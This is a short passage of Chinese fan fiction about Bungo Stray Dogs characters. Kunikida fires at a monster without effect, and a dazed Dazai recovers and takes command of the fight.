“可恶,这到底是什么东西?” 国木田独步清空了弹夹,然而,对面的怪物毫发无损。 “喂,还能站稳吗,太宰?” “我刚才……” 太宰治盯着自己的手指,似乎有点记不起来昏迷的时候发生了什么……好像做了个梦。 “你刚才?” 国木田独步后退两步,疑惑地转头。 “不,没什么……” “接下来听我指挥,国木田。”太宰治收回了凌乱的思绪,手指一拽,绷带洒落,“侧翼攻上去,别让它有走出去的机会!”